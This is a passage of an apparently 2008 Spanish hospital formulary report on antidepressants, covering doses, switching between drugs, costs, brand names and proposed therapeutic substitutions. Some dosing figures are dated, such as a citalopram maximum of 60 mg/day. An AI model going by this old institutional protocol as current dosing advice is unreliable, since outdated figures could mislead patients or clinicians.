<td valign="top" style="width: 145px">Pueden incrementarse en fracciones de 10 mg hasta un máximo de 50 mg/día<br />
TOC: dosis máxima 60 mg/día</td>
<td valign="top" style="width: 146px">20 mg comprimidos</td>
<td valign="top" style="width: 146px">Ancianos, IR, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong>Sertralina<br />
</strong></td>
<td valign="top" style="width: 145px">50 mg cada 24 h<br />
Pánico: 25 mg cada 24h</td>
<td valign="top" style="width: 145px">Puede incrementarse hasta un máximo de 200 mg/día</td>
<td valign="top" style="width: 146px">50, 100 mg comprimidos</td>
<td valign="top" style="width: 146px">Ancianos, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong>Citalopram<br />
</strong></td>
<td valign="top" style="width: 145px">20 mg cada 24 h</td>
<td valign="top" style="width: 145px">Puede incrementarse hasta un máximo de 60 mg/día</td>
<td valign="top" style="width: 146px">10, 20, 30, 40 mg comprimidos</td>
<td valign="top" style="width: 146px">Ancianos, IR, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong>Escitalopram<br />
</strong></td>
<td valign="top" style="width: 145px">10 mg cada 24h<br />
Pánico: 5 mg cada 24h</td>
<td valign="top" style="width: 145px">Puede incrementarse hasta un máximo de 20 mg/día</td>
<td valign="top" style="width: 146px">10, 15, 20 comprimidos<br />
20 mg/ml gotas solución oral</td>
<td valign="top" style="width: 146px">Ancianos, IR, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong>Venlafaxina<br />
</strong></td>
<td valign="top" style="width: 145px">75 mg/día (2-3 tomas).<br />
<span /><u>Retard:</u>  75 mg/día</td>
<td valign="top" style="width: 145px">Se puede incrementar según respuesta 75 mg/día cada 4 días hasta una dosis máxima de 225 mg/día (en pacientes hospitalizados la dosis máxima es de 375 mg/día en 3 tomas)<br />
<u>Retard</u>: incrementos hasta dosis máxima de 225 mg cada 24h</td>
<td valign="top" style="width: 146px">37’5, 50, 75 mg comprimidos<br />
75, 150 mg comprimidos retard</td>
<td valign="top" style="width: 146px">IR, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong>Trazodona<br />
</strong></td>
<td valign="top" style="width: 145px">150 mg/día (2-3 tomas)<br />
Agresividad: 50 mg cada 12h</td>
<td valign="top" style="width: 145px">Pueden hacerse incrementos de 50 mg/día hasta dosis máxima de 400 mg/día (en pacientes hospitalizados; dosis máxima de 600 mg/día)</td>
<td valign="top" style="width: 146px">50, 100 mg comprimidos<br />
50 mg ampollas</td>
<td valign="top" style="width: 146px">Ancianos</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong>Buopropion<br />
</strong></td>
<td valign="top" style="width: 145px">150 mg cada 24 h por 3 días</td>
<td valign="top" style="width: 145px">Puede incrementarse a 300 mg cada 24 horas hasta un máximo de 450 mg/día</td>
<td valign="top" style="width: 146px">150 mg comprimidos de liberación prolongada</td>
<td valign="top" style="width: 146px">IR, IH</td>
</tr>
</table>
</div>
<p><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3">10. CONVERSION-CAMBIOS ENTRE ANTIDEPRESIVOS<br />
</font></strong><font size="3"><u>10.1. Factores que deben considerarse antes de establecer un régimen de cambio</u><sup>13</sup><u><br />
</u></font><font size="3">·</font>          <font size="3"><u>Urgencia</u> con la que es preciso llevar a cabo el cambioà Valorar la urgencia de la condición psiquiátrica a tratar es necesario ya que si no hay urgencia y por lo tanto, se puede prescindir durante un periodo (días-semanas) del efecto terapéutico, se puede seleccionar un régimen de cambio más conservador. Si hay urgencia, se puede optar por un cambio más directo, lo cual justifica una cierta monitorización del paciente.<br />
</font><font size="3">·</font>          <font size="3"><u>Dosis</u> del AD actual<br />
</font><font size="3">·</font>          <font size="3"><u>Mecanismo de acción</u> farmacológica y <u>farmacocinética</u> de los ADs implicados<br />
</font><font size="3">·</font>          <font size="3"><u>Vulnerabilidad</u> del paciente a los efectos secundarios aditivos (resultantes de la asociación puntual de los ADs)<br />
</font><font size="3"><u>10.2. Problemas potenciales </u><sup>13</sup><u><br />
</u></font><font size="3">·</font>          <font size="3">Rebote colinérgico: dolor de cabeza, inquietud, diarrea, náusea y vómitos, como consecuencia de la falta aguda de bloqueo de los receptores colinérgicos (ej: tricíclicos).<br />
</font><font size="3">·</font>          <font size="3">Síndrome de abstinencia a los ADs (mayor con venlafaxina y paroxetina)<br />
</font><font size="3">·</font>          <font size="3">Síndrome serotoninérgico si la estrategia implica la coadministración temporal de ADs<br />
</font><font size="3">·</font>          <font size="3">Interacción farmacológica entre los ADs.<br />
</font><font size="3">·</font>          <font size="3">Efectos de discontinuación del AD que se retira que se interpretan como efectos secundarios del AD que se introduce.<br />
</font><u><font size="3"> </font></u></p>
<p></strong>                                                                                          <u><font size="3" /></u><u><font size="3"><u>10.3. “Cross-tapering��? </u><sup>14</sup><u><br />
</u></font><font size="3">Para muchos cambios entre ADs, la técnica conocida como “cross-tapering��? es la que mejor garantiza que no se eclipsa el efecto antidepresivo en el paciente (por tanto es la indicada en situaciones en que es importante no interrumpir el tratamiento de la condición psiquiátrica) al tiempo que se minimiza el riesgo de interacciones farmacológicas y el riesgo de desarrollar un síndrome de abstinencia. La técnica consiste en que la dosis del AD que está siendo administrado sea gradualmente reducida durante un periodo de 1-2 semanas <u>al mismo tiempo</u> que la dosis del nuevo AD se incrementa gradualmente, es decir, la reducción y el aumento de los ADs coinciden en el mismo periodo de tiempo.<br />
</font><font size="3"> </font></p>
<p></u><u><font size="3">10.4. Cambio entre ISRSs<br />
</font></u><font size="3">Al compartir en principal mecanismo de acción farmacológico, el nuevo ISRS previene el síndrome de abstinencia del antiguo. La estrategia de la sustitución directa de un ISRS por otro a dosis equivalentes es, por lo general, bien tolerada, si bien, empezar el nuevo ISRS a dosis bajas puede ser considerado ya que los distintos ISRS tienen diferentes perfiles farmacológicos y de efectos secundarios <sup>14</sup>. En cualquier caso, el principal problema de tolerancia es el síndrome serotoninérgico, especialmente con fluoxetina que por su larga vida media, puede sumar su riesgo intrínseco con el del nuevo ISRS <sup>13</sup>.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>10.5. Cambios entre ISRS y ATC (tricíclicos)</u><sup> 14</sup><u><br />
</u></font><font size="3">La estrategia más recomendada es el “cross-tapering��?. Sin embargo, es importante recordar que fluoxetina, paroxetina y fluvoxamina son inhibidores potentes del CYP2D6, enzima que está involucrada en el metabolismo de los ATC, lo cual resulta en un aumento de las concentraciones plasmáticas de los ATC de 2-3 veces, por lo que se debe prestar atención a una eventual toxicidad por ATC. Para evitar esto, cuando los ISRS mencionados estén involucrados en el cambio, los ATC deben iniciarse a dosis más bajas de las equivalentes (o ser llevadas a dosis bajas si son los que se van a interrumpir) y, en estos casos, sería recomendable establecer un régimen de cambio más conservador siempre que la situación clínica lo permita à interrumpir el primero gradualmente, dejar varios días (1-2 semanas en caso de fluoxetina) y después iniciar el nuevo AD.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>10.6. Cambio de ISRS a venlafaxina o duloxetina</u><sup>14</sup><u><br />
</u></font><font size="3">Ya que tanto venlafaxina como duloxetina poseen propiedades serotoninérgicas significativas, el cambio directo entre los ISRS y dosis equivalentes de venlafaxina o duloxetina es, por lo general, bien tolerado. Si el ISRS actualmente en uso está prescrito a dosis elevadas, la técnica del cross-tapering puede ser preferible. La misma precaución comentada en el apartado anterior para fluoxetina y paroxetina, debe ser considerada.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>10.7. Cambio de venlafaxina o duloxetina a ADs otros que IMAOs</u><sup>14</sup><u><br />
</u></font><font size="3">Venlafaxina está asociado a un síndrome de abstinencia desagradable. La farmacología aportada por los ISRS mitigaría el síndrome en ciertos aspectos, pero no lo evita del todo. Por ello la estrategia del cross-tapering es de nuevo la más recomendable, durante un periodo de 2-3 semanas. Duloxetina es un fármaco menos conocido, pero al compartir perfil con venlafaxina, se recomienda establecer la misma estrategia de cambio.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>10.8. Cambio de venlafaxina a duloxetina</u><sup>14</sup><u><br />
</u></font><font size="3">Estos fármacos comparten muchas propiedades. A dosis bajas (inferiores a 150 mg de venlafaxina y a 60 mg de duloxetina) el cambio directo de uno a otro es, por lo general, bien tolerado. A dosis elevadas, puede ser preferible un cross-tapering.<br />
</font><font size="3"> </font></p>
<p><u><font size="3">10.9. Cambio de o a mirtazapina<br />
</font></u><font size="3">La estrategia del cross-tapering es la recomendada en los cambios entre mirtazapina y ISRS, ATC, venlafaxina o duloxetina<sup>14</sup>. <strong>Fluoxetina</strong> a dosis de 20-40 mg/d se ha cambiado a mirtazapina 15 mg/d sin problemas en un estudio (n=40). Es recomendable una especial precaución si el cambio implica a <strong>venlafaxina</strong> ya que se han publicado casos de síndrome serotoninérgico tras su co-administración <sup>13</sup>.<br />
</font><font size="3"> </font></p>
<p><u><font size="3">10.10. Cambio de trazodona a ADs otros que IMAOs<br />
</font></u><font size="3">Trazodona y <strong>fluoxetina</strong> han sido utilizados juntos, si bien, hay un riesgo aumentado de sedación, síndrome serotoninérgico y aumento de las concentraciones plasmáticas de trazodona. Se han descrito casos de síndrome serotoninérgico al asociar dosis bajas de <strong>paroxetina</strong> a trazodona. <strong>Citalopram</strong> ha confirmado su ausencia de interacción farmacocinética con trazodona. No hay información para <strong>sertralina</strong> o <strong>escitalopram</strong>, pero por lo general se consideran cambios seguros<sup>13</sup>.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>10.11. Cambio de bupropion a ADs otros que IMAOs</u><sup>14</sup><u><br />
</u></font><font size="3">Bupropion no tiene propiedades serotoninérgicas por lo que teóricamente no mitigará el síndrome de abstinencia de aquellos ADs que sí la posean. Por lo tanto, la estrategia recomendada es la cross-tapering. Bupropion no se ha asociado con síndrome de abstinencia significativo.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>10.12. Cambio de o a IMAOs</u><sup>14</sup><u><br />
</u></font><font size="3">Debido a que la combinación entre IMAOs y otros ADs puede resultar en toxicidad grave (crisis hipertensivas, síndrome serotoninérgico, etc), lo recomendable es un periodo de 2 semanas entre la interrupción total de un IMAO y el inicio de otro AD diferente, y lo mismo si el cambio se produce en sentido contrario. La única puntualización es para el cambio de fluoxetina a IMAO, ya que debido a la larga semivida de eliminación plasmática de fluoxetina, se recomienda que este periodo sea de 5 semanas. Cambios entre distintos IMAOs deben establecerse siguiendo la misma recomendación de un periodo de 2 semanas.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>10.13. Dosis equivalentes aproximadas de ADs</u><sup>14</sup><u><br />
</u></font></p>
<table class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td>Fluoxetine</td>
<td>20 mg</td>
</tr>
<tr>
<td>Paroxetine</td>
<td>20 mg</td>
</tr>
<tr>
<td>Sertraline</td>
<td>50-75 mg</td>
</tr>
<tr>
<td>Citalopram</td>
<td>20 mg</td>
</tr>
<tr>
<td>Escitalopram</td>
<td>10 mg</td>
</tr>
<tr>
<td>Fluvoxamine</td>
<td>100 mg</td>
</tr>
<tr>
<td>Venlafaxine</td>
<td>75 mg</td>
</tr>
</table>
<p><font size="3" /></p>
<p><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong /><strong><font size="3" /></strong><strong><strong><font size="3">11. COSTE <sup>12</sup><br />
</font></strong><font size="3">Las diferencias de precio entre los diferentes AD son notables. Así el tratamiento durante seis meses con dosis medias de los antidepresivos más antiguos cuesta 45 € para el caso de trazodona o 36 € para fluoxetina, mientras que el coste aumenta con los nuevos ADs: 126 € para paroxetina y sertralina, hasta llegar a los 252 € de venlafaxina o los 324 € de doluxetina, el ultimo AD lanzado al mercado. La excepción ha sido escitalopram, a pesar de que es un ISRS un poco más caro que citalopram, tiene un coste de tratamiento intermedio de 108 € el tratamiento de seis meses, menor que algunos ADs más antiguos como reboxetina cuyo coste es de 216 €.<br />
</font></p>
<p></strong></p>
<div align="center">
<table class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td style="width: 242px"><font size="3"> </font></td>
<td style="width: 242px"><font size="3">Dosis (mg/día)<br />
</font></td>
<td style="width: 243px"><font size="3">Coste (euros/día)<br />
</font></td>
</tr>
<tr>
<td style="width: 727px" colspan="3"><font size="3">ISRS<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Fluoxetina<br />
</font></td>
<td style="width: 242px"><font size="3">20<br />
</font></td>
<td style="width: 243px"><font size="3">0,2<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Sertralina<br />
</font></td>
<td style="width: 242px"><font size="3">100<br />
</font></td>
<td style="width: 243px"><font size="3">0,7<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Paroxetina<br />
</font></td>
<td style="width: 242px"><font size="3">20<br />
</font></td>
<td style="width: 243px"><font size="3">0,7<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Fluvoxamina<br />
</font></td>
<td style="width: 242px"><font size="3">100<br />
</font></td>
<td style="width: 243px"><font size="3">0,4<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Citalopram<br />
</font></td>
<td style="width: 242px"><font size="3">20<br />
</font></td>
<td style="width: 243px"><font size="3">0,4<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Escitalopram<br />
</font></td>
<td style="width: 242px"><font size="3">10<br />
</font></td>
<td style="width: 243px"><font size="3">0,6<br />
</font></td>
</tr>
<tr>
<td style="width: 727px" colspan="3"><font size="3">IRNS<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Venlafaxina<br />
</font></td>
<td style="width: 242px"><font size="3">150<br />
</font></td>
<td style="width: 243px"><font size="3">1,4<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Duloxetina<br />
</font></td>
<td style="width: 242px"><font size="3">60<br />
</font></td>
<td style="width: 243px"><font size="3">1,8<br />
</font></td>
</tr>
<tr>
<td style="width: 727px" colspan="3"><font size="3">Otros<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Mirtazapina<br />
</font></td>
<td style="width: 242px"><font size="3">30<br />
</font></td>
<td style="width: 243px"><font size="3">0.87<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Mianserina<br />
</font></td>
<td style="width: 242px"><font size="3">60<br />
</font></td>
<td style="width: 243px"><font size="3">0,5<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Reboxetina<br />
</font></td>
<td style="width: 242px"><font size="3">8<br />
</font></td>
<td style="width: 243px"><font size="3">1,2<br />
</font></td>
</tr>
<tr>
<td style="width: 242px"><font size="3">Trazodona<br />
</font></td>
<td style="width: 242px"><font size="3">200<br />
</font></td>
<td style="width: 243px"><font size="3">0,25<br />
</font></td>
</tr>
</table>
</div>
<p><font size="3" /></p>
<p><strong><font size="3">12. NOMBRES COMERCIALES <sup>12</sup><br />
</font></strong></p>
<table class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 242px"><strong><font size="3">Principio activo<br />
</font></strong></td>
<td valign="top" style="width: 242px"><strong><font size="3">Nombres comerciales<br />
</font></strong></td>
</tr>
<tr>
<td valign="top" style="width: 242px">Mirtazapina</td>
<td valign="top" style="width: 242px">genérico</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Mianserina</td>
<td valign="top" style="width: 242px">Lantanon</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Reboxetina</td>
<td valign="top" style="width: 242px">Irenor, Norebox</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Duloxetina</td>
<td valign="top" style="width: 242px">Cymbalta, Xeristar</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Fluoxetina</td>
<td valign="top" style="width: 242px">genérico</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Fluvoxamina</td>
<td valign="top" style="width: 242px">genérico</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Paroxetina</td>
<td valign="top" style="width: 242px">genérico</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Sertralina</td>
<td valign="top" style="width: 242px">genérico</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Citalopram</td>
<td valign="top" style="width: 242px">genérico</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Escitalopram</td>
<td valign="top" style="width: 242px">Cipralex, Entact, Esertia</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Venlafaxina</td>
<td valign="top" style="width: 242px">genérico</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Trazodona</td>
<td valign="top" style="width: 242px">Deprax</td>
</tr>
<tr>
<td valign="top" style="width: 242px">Bupropion</td>
<td valign="top" style="width: 242px">Elontril</td>
</tr>
</table>
<p><strong><font size="3" /></strong><strong><strong><font size="3">13. RESUMEN y CONSIDERACIONAES PARA EL FORMULARIO<br />
</font></strong><font size="3">Las consideraciones farmacológicas revisadas sugieren que los ISRS constituyen una clase heterogénea, tanto en su acción farmacológica principal (es decir, inhibición selectiva y potencial de la reabsorción de serotonina), como en su acción secundaria (p. e. bloqueo de la reabsorción de norepinefrina y dopamina). Esta revisión de estudios comparativos demuestra la ausencia de diferencias de eficacia entre los distintos compuestos, pero pone de manifiesto algunas diferencias en la tolerabilidad.<br />
</font><font size="3"> </font></p>
<p></strong><font size="3">Al igual que ocurre con todos los tratamientos antidepresivos, la respuesta de los pacientes con depresión mayor al tratamiento con ISRS es variable: entre el 30 y el 40% de estos pacientes no responden suficientemente a los ISRS. Sin embargo, se ha observado que los pacientes que no responden a un fármaco pueden responder a otro agente de la misma clase. <br />
</font><font size="3"> </font></p>
<p><font size="3">En líneas generales la selección del agente más apropiado deberá individualizarse en cada paciente y tener en cuenta los efectos adversos esperados, el perfil de interacciones, las preferencias del paciente y el coste del tratamiento.<br />
</font><font size="3"> </font></p>
<p><font size="3">Los autores de este informe consideran oportuno disponer en el formulario del centro de dos agentes ISRS de primera línea (fluoxetina y citalopram) con características diferenciales en seguridad, especialmente en el  perfil de interacciones farmacológicas, un ISRS de nueva generación (escitalopram) como ISRS de segunda línea y de uso restringido al servicio de psiquiatría, un agente SARI (trazodona) cuando se busca un efecto hipnótico-sedante, especialmente en el manejo de los pacientes con dellirium y demencia, y un agente de mecanismo dual como venlafaxina.<br />
</font><font size="3"> </font></p>
<p><font size="3">Las propuestas de intercambio terapéutico son las siguientes:<br />
</font><font size="3"> </font></p>
<p><font size="3"><img width="13" height="13" alt="*" src="file:///C:/DOCUME~1/User/CONFIG~1/Temp/msohtmlclip1/01/clip_image001.gif" /></font>      <strong><u><font size="3">INTERCAMBIO TERAPÉUTICO de ISRS:<br />
</font></u></strong><font size="3"> </font></p>
<table width="684" class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 216px" colspan="2"><font size="3">Medicamento incluido<br />
</font></td>
<td valign="top" style="width: 468px" colspan="4"><font size="3">Medicamentos no incluidos<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 108px"><font size="3">Fluoxetina<br />
</font></td>
<td valign="top" style="width: 108px"><font size="3">Citalopram<br />
</font></td>
<td valign="top" style="width: 122px"><font size="3">Escitalopram<br />
</font></td>
<td valign="top" style="width: 118px"><font size="3">Fluvoxamina<br />
</font></td>
<td valign="top" style="width: 108px"><font size="3">Paroxetina<br />
</font></td>
<td valign="top" style="width: 120px"><font size="3">Sertralina<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 108px"><font size="3">20 mg<br />
</font></td>
<td valign="top" style="width: 108px"><font size="3">20 mg<br />
</font></td>
<td valign="top" style="width: 122px"><font size="3">10<br />
</font></td>
<td valign="top" style="width: 118px"><font size="3">100<br />
</font></td>
<td valign="top" style="width: 108px"><font size="3">20<br />
</font></td>
<td valign="top" style="width: 120px"><font size="3">50<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 108px"><font size="3">40 mg<br />
</font></td>
<td valign="top" style="width: 108px"><font size="3">30 mg<br />
</font></td>
<td valign="top" style="width: 122px"><font size="3">15<br />
</font></td>
<td valign="top" style="width: 118px"><font size="3">200 (2-3 tomas)<br />
</font></td>
<td valign="top" style="width: 108px"><font size="3">40<br />
</font></td>
<td valign="top" style="width: 120px"><font size="3">100<br />
</font></td>
</tr>
</table>
<p><font size="3" /></p>
<p><font size="3"><img width="13" height="13" alt="*" src="file:///C:/DOCUME~1/User/CONFIG~1/Temp/msohtmlclip1/01/clip_image001.gif" /></font>      <font size="3">Si el paciente está siendo tratado con un medicamento que comparte la vía de metabolización CYP2D6, y previamente, está recibiendo sertralina o fluvoxamina, se propone el cambio a citalopram, para evitar posibles interacciones medicamentosas clínicamente significativas. En este sentido, el cambio de paroxetina a fluoxetina, carece de riesgo. En líneas generales se propone el cambio de escitalopram a citalopram.<br />
</font><font size="3"><img width="13" height="13" alt="*" src="file:///C:/DOCUME~1/User/CONFIG~1/Temp/msohtmlclip1/01/clip_image001.gif" /></font>      <font size="3">Dosis más altas de las indicadas deben intercambiarse siguiendo la estrategia del <u>“<em>cross-tapering</em>��?</u> y convendría asegurarse de que el paciente tiene un alto <u>grado de adherencia</u> al tratamiento contando con que los estudios indican que el 50% de los pacientes con depresión no cumplen con el tratamiento. Por ejemplo: Paroxetina 40 mgà Fluoxetina 40 mg. Se recomienda pasar a paroxetina 20 mg + fluoxetina 20 mg durante 3-4 días y pasado este tiempo suspender paroxetina y aumentar a fluoxetina 40 mg (cross-tapering) para evitar el síndrome de abstinencia a paroxetina.<br />
</font><font size="3"><img width="13" height="13" alt="*" src="file:///C:/DOCUME~1/User/CONFIG~1/Temp/msohtmlclip1/01/clip_image001.gif" /></font>      <font size="3">Pacientes con terapia farmacológica compleja (asociación de antidepresivos, dosis más altas de las indicadas, etc) serán valorados por psiquiatría.<br />
</font><font size="3"> </font></p>
<p><font size="3"><img width="13" height="13" alt="*" src="file:///C:/DOCUME~1/User/CONFIG~1/Temp/msohtmlclip1/01/clip_image001.gif" /></font>      <strong><u><font size="3">INTERCAMBIO TERAPÉUTICO de DULOXETINA por VENLAFAXINA:<br />
</font></u></strong><font size="3"> </font></p>
<table width="468" class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 234px"><font size="3">Medicamento incluido<br />
</font></td>
<td valign="top" style="width: 234px"><font size="3">Medicamentos no incluidos<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 234px"><font size="3">Venlafaxina<br />
</font></td>
<td valign="top" style="width: 234px"><font size="3">Duloxetina<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 234px"><font size="3">75 mg<br />
</font></td>
<td valign="top" style="width: 234px"><font size="3">30<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 234px"><font size="3">150 mg<br />
</font></td>
<td valign="top" style="width: 234px"><font size="3">60<br />
</font></td>
</tr>
</table>
<p><font size="3">(excepción: dolor neuropático: se mantendrá el tratamiento con duloxetina)<br />
</font><font size="3"> </font></p>
<p><font size="3"><img width="13" height="13" alt="*" src="file:///C:/DOCUME~1/User/CONFIG~1/Temp/msohtmlclip1/01/clip_image001.gif" /></font>      <font size="3"><strong><u>INTERCAMBIO TERAPÉUTICO  de Antagonistas de los receptores α2 presinápticos por TRAZODONA. </u></strong><br />
</font><font size="3"> </font></p>
<table width="552" class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 216px"><font size="3">Medicamento incluido<br />
</font></td>
<td valign="top" style="width: 336px" colspan="2"><font size="3">Medicamentos no incluidos<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 216px"><font size="3">Trazodona<br />
</font></td>
<td valign="top" style="width: 144px"><font size="3">Mianserina<br />
</font></td>
<td valign="top" style="width: 192px"><font size="3">Mirtazapina<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 216px"><font size="3">150 mg (2-3 tomas)<br />
</font></td>
<td valign="top" style="width: 144px"><font size="3">30<br />
</font></td>
<td valign="top" style="width: 192px"><font size="3">15<br />
</font></td>
</tr>
<tr>
<td valign="top" style="width: 216px"><font size="3">300 (2-3 tomas)<br />
</font></td>
<td valign="top" style="width: 144px"><font size="3">60<br />
</font></td>
<td valign="top" style="width: 192px"><font size="3">30<br />
</font></td>
</tr>
</table>
<p><strong><font size="3" /></strong><strong /><strong><font size="3">14. SEGUIMIENTO<br />
</font></strong><font size="3">Las propuestas de intercambio terapéutico irán acompañadas de un programa de gestión de riesgos que incluya una valoración de la historia farmacoterapéutica previa así como un seguimiento de los cambios de tratamiento mediante la aplicación de la escala de efectos secundarios a psicotropos: Udvalg für Kliniske Undersogelser <strong>(UKU) </strong>para las dimensiones psíquica, neurológica y autonómica el <u>día 0</u> (en que se produce el intercambio terapéutico), a las <u>48-72 horas</u> del cambio (monitorización de síndrome de abstinencia al AD que se retira) y a los <u>10-14 días</u> (monitorización de tolerancia al nuevo AD y eventual síndrome serotoninérgico) o al alta hospitalaria.<br />
</font><strong><font size="3"> </font></strong><strong><strong><font size="3">15. BIBLIOGRAFIA<br />
</font></strong></p>
<p></strong></p>
<ol type="1">
<li class="MsoNormal"><font size="3">“N06. Antidepresivos��?. Catálogo de Medicamentos. Colección Consejo Plus 2007.<br />
</font></li>
<li class="MsoNormal"><font size="3"><span lang="EN-GB">Micromedex </span><span lang="EN-GB">1974-2008 Thomson healthcare. Acceso 2008. <a href="http://www.thomsonhc.com/hcs/librarian/PFPUI/AB1mN1R2fiYmn1">www.thomsonhc.com/hcs/librarian/PFPUI/AB1mN1R2fiYmn1</a><br />
</span></font></li>
<li class="MsoNormal"><font size="3">Stephen M. Stahl. “Psicofarmacología esencial��?. Ariel. Ed 2005.<br />
</font></li>
<li class="MsoNormal"><font size="3"><span lang="EN-GB">Agency for Healthcare Research and Quality (AHQR).��?Comparative effectiveness of second-generation antidepressants in the pharmacological treatment of adult depression��?. AHRQ Publication No. 07-EHC007-EF. </span>January 2007.<span lang="EN-GB"><br />
</span></font></li>
<li class="MsoNormal"><font size="3">Guaiana G, Barbui C, Hotopf M. Amitriptilina versus otros tipos de farmacoterapia para la depresión (Revisión Cochrane traducida). En: <em>La Biblioteca Cochrane</em><em> Plus</em>, 2007 Número 2. <span lang="EN-GB">Oxford</span><span lang="EN-GB">: Update Software Ltd. </span>Disponible en: <span lang="EN-GB"><a href="http://www.update-software.com/"><span lang="ES">http://www.update-software.com</span></a></span>. (Traducida de <em>The Cochrane Library</em>, 2007 Issue 2. <span lang="EN-GB">Chichester</span><span lang="EN-GB">, UK</span><span lang="EN-GB">: John Wiley &#038; Sons, Ltd.).<br />
</span></font></li>
<li class="MsoNormal"><font size="3">Moncrieff J, Wessely S, Hardy R. Placebos activos versus antidepresivos para la depresión (Revisión Cochrane traducida). En: <em>La Biblioteca Cochrane</em><em> Plus</em>, 2007 Número 2. Oxford: Update Software Ltd. <span lang="EN-GB">Disponible en: </span><a href="http://www.update-software.com/"><span lang="EN-GB">http://www.update-software.com</span></a><span lang="EN-GB">. (Traducida de <em>The Cochrane Library</em>, 2007 Issue 2. Chichester, UK: John Wiley &#038; Sons, Ltd.).<br />
</span></font></li>
<li class="MsoNormal"><font size="3"><span lang="EN-GB">Joanna Moncrieff and Irving Kirsch. “Efficacy of antidepressants in adults��?. </span><em>BMJ </em>2005;331;155-157. doi:10.1136/bmj.331.7509.155<br />
</font></li>
<li class="MsoNormal"><span lang="EN-GB"><font size="3">Deborah Khachikian and Domenic Ciraulo.</font></span><span lang="EN-GB"><font face="Times New Roman"> “</font></span><span lang="EN-GB"><font size="3">Pharmacy Benefits Management and Medical Advisory Panel Drug Class Review Selective Serotonin Reuptake Inhibitors��?. US Department of veterans affairs. </font><a href="http://www.pbm.va.gov/default.aspx"><font size="3">www.pbm.va.gov/default.aspx</font></a><font size="3">. (acceso enero 2008)<br />
</font></span></li>
<li class="MsoNormal"><font size="3">Kapczinski F, Lima MS, Souza, JS, Schmitt, R. Antidepresivos para el trastorno de ansiedad generalizada (Revisión Cochrane traducida). En: <em>La Biblioteca Cochrane</em><em> Plus</em>, 2007 Número 2. Oxford: Update Software Ltd. Disponible en: <span lang="EN-GB"><a href="http://www.update-software.com/"><span lang="ES">http://www.update-software.com</span></a></span>. (Traducida de <em>The Cochrane Library</em>, 2007 Issue 2. Chichester, UK: John Wiley &#038; Sons, Ltd.).<br />
</font></li>
